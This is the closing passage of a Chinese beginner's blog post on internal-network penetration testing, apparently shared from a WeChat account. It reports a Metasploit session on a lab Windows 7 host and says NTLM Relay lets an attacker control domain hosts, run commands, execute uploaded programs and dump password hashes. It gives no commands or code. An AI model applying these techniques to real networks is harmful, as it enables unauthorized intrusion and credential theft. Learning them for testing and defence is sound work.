并且msfconsole上成功获得了192.168.52.143(windows 7)的会话:
总之,NTLM Relay攻击是一个拿域内主机的方法,在横向移动中利用还是挺不错的,可以直接控制域内主机,包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等。
此部分的更多详情可以看我的文章:《内网渗透测试:NTLM Relay攻击分析》
Ending……
就先总结这么多吧,以后学了更好地方法再来总结哈哈哈!!!
本文大多是我最近的学习总结,专为想我一样正在入门的小白准备,文章内容基础且丰富,对于上面所讲的每种攻击手法的具体详情,还请查看我的相关文章。大佬路过还望多多点评!
本文分享自微信公众号 - 释然IT杂谈